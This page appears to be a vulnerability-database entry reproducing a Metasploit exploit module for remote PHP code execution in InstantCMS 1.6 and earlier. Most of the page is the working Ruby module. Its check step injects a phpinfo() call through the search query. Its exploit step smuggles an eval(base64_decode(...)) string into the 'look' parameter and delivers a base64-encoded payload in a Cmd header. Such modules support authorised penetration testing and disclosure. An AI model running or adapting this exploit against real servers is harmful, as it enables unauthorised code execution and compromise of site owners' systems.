InstantCMS 1.6 Remote PHP Code Execution

2013-07-01T15:44:47
ID MSF:EXPLOIT/UNIX/WEBAPP/INSTANTCMS_EXEC
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits an arbitrary PHP command execution vulnerability because of a dangerous use of eval() in InstantCMS in versions 1.6 and prior.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'InstantCMS 1.6 Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary PHP command execution vulnerability because of a
        dangerous use of eval() in InstantCMS in versions 1.6 and prior.
      },
      'Author'         =>
        [
          'AkaStep', # Vulnerability discovery and PoC
          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'BID', '60816' ],
          [ 'PACKETSTORM', '122176' ]
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch' => ARCH_PHP,
      'Targets'        =>
        [
          [ 'InstantCMS 1.6', { }  ],
        ],
      'DisclosureDate' => '2013-06-26',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
      ])
  end

  def check
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'	=> 'search',
        'query' => '${echo phpinfo()}'
      }
    })

    if res and res.body.match(/Build Date/)
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'	=> 'search',
        'query' => rand_text_alpha(3 + rand(3)),
        'look'  => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
      },
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })

  end
end